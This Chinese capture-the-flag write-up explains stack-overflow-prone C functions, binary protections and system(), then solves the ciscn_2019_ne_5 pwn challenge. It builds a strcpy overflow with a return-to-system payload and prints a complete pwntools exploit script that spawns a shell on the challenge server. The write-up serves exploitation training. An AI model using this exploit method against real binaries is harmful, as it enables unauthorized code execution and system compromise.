首先回顾一下
栈溢出的危险函数
- 输入
- gets,直接读取一行,忽略’\x00’
- scanf
- vscanf
- 输出
- sprintf
- 字符串
- strcpy,字符串复制,遇到’\x00’停止
- strcat,字符串拼接,遇到’\x00’停止
- bcopy
保护机制解析
1.Arch:编译的时候是多少位编译的。
2.RELRO:分为两种情况,第一种情况是Partial RELRO,这这情况是部分开启堆栈地址随机化,got表可写,第二种,Full RELRO是全部开启,got表不可写,Got表是全局偏移表,里面包含的是外部定义的符号相应的条目的数据段中,PLT表,是过程链接表/内部函数表,linux延迟绑定,但是最后还是要连接到Got,PLT表只是为一个过渡的作用。
3.Stack:这个保护其实就是在你调用的函数的时候,在栈帧中插入一个随机数,在函数执行完成返回之前,来校验随机数是否被改变,来判断是否被栈溢出,这个我们也俗称为canary(金丝雀),栈保护技术。
4.NX:为栈不可知性,也就是栈上的数据不可以当作代码区执行的作用,一般有NX保护开启的话,基本上这个题不能用shellcode做。
5.PIE:PIE的中文叫做,地址无关可执行文件,是针对.text(代码段),.data(数据段),.bss(未初始化全局变量段)来做的保护,正常每一次加载程序,加载地址是固定的,但是PIE保护开启,每次程序启动的时候都会变换加载地址,不可能通过一些工具进行解题了。
system函数
函数原型
包含在头文件 “stdlib.h” 中
int system(const char * command)
函数功能
执行 dos(windows系统) 或 shell(Linux/Unix系统) 命令,参数字符串command为命令名。另,在windows系统下参数字符串不区分大小写。
说明:在windows系统中,system函数直接在控制台调用一个command命令。
在Linux/Unix系统中,system函数会调用fork函数产生子进程,由子进程来执行command命令,命令执行完后随即返回原调用的进程。
system的作用就是接收一个个shell命令为参数,执行这个shell命令。
函数返回值
命令执行成功返回0,执行失败返回-1。
做题流程
首先照例检查一下保护,NX打开了。canary没有打开,可以使用栈溢出。
使用IDA进行反编译,然后F5进入函数查看下流程,看到主函数里面有一个如下图的函数,这段代码要求用户输入administrator
,否则就退出程序。
这个函数之后,程序要求用户输入一个数字选择操作,
一眼望过去,GetFlag
函数特别显眼,点进去看一看,函数中使用strcpy
函数将传进来的参数src
上的字符串复制给dest
,可以进行栈溢出。
现在我们的目标变成了要给src
赋一个字符串,能让GetFlag函数实现栈溢出,返回主函数,轮流查看其他的几个操作,AddLog
函数如下图,该函数使用__isoc99_scanf
驶入一个长度为128的字符串给a1
,这里a1实际上就是传进来的src。
同时我们在Print函数中,找到了system
函数,我们可以使用该函数进行shell获取。
总结一下,我们要做的几件事:
- 输入administrator
- 选择1,向src中输入栈溢出的字符串
- 选择2,调用GetFlag函数,进行栈溢出
我们现在要构造payload,构造如下:
栈填充 + system的地址 + system的返回地址 + system的参数
- 栈填充:b’a’*(0x48+4)
- system的地址
- system的返回地址:由于strcpy函数时遇到
\00
截止,所以此处的返回地址构造要避免\00,我们可以使用字符串‘1234’,进行填充 - system的参数:可以使用
'/bin/sh'
和'sh'
进行填充,具体原因下面解释。
我们使用ROPgadget查找字符串/bin/sh
和sh
。如下,我们找到了sh
。
最后我们的exploit如下:
from pwn import *
context.binary = './ciscn_2019_ne_5 '
elf = context.binary
io = remote( 'node4.buuoj.cn', 29562)
system = elf.sym['system']
io.sendlineafter(b'admin password:' ,b'administrator')
io.sendlineafter(b':', '1')
payload = b'a'*(0×48 +4)
payload += p32(system)
payload += b '1234'
payload += p32(0×80482ea)
io.sendlineafter(b 'info:' ,payload)
io.sendlineafter(b':','4')
io.sendline(b'cat flag')
io.interactive()
为什么sh也能获取shell?
简单说一下bin
文件夹:
bin
是Binary
的缩写,存放着可执行文件或可执行文件的链接(类似快捷方式),我们可以看到cp
,chmod
,cat
等常用命令都在这里。Linux 不按后缀识别文件类型,/bin
目录中的文件都是可执行的二进制文件。
与/bin
类似的是/sbin
目录,System Binary 的缩写,这里存放的命令可以对系统配置进行操作。普通用户可能可以使用这里的命令查看某些系统状态,但是如果想更改配置,就需要sudo
授权或者切换成超级用户。
我们平常在终端中输入的命令,都是bin
文件夹下的一个可执行文件。我们在终端中执行命令时,第一个参数就是使用的工具/可执行文件,这个工具的默认文件夹就是bin
。
按照这个看,/bin/sh
和sh
的区别就在于前者是绝对路径,而后者是相对路径了。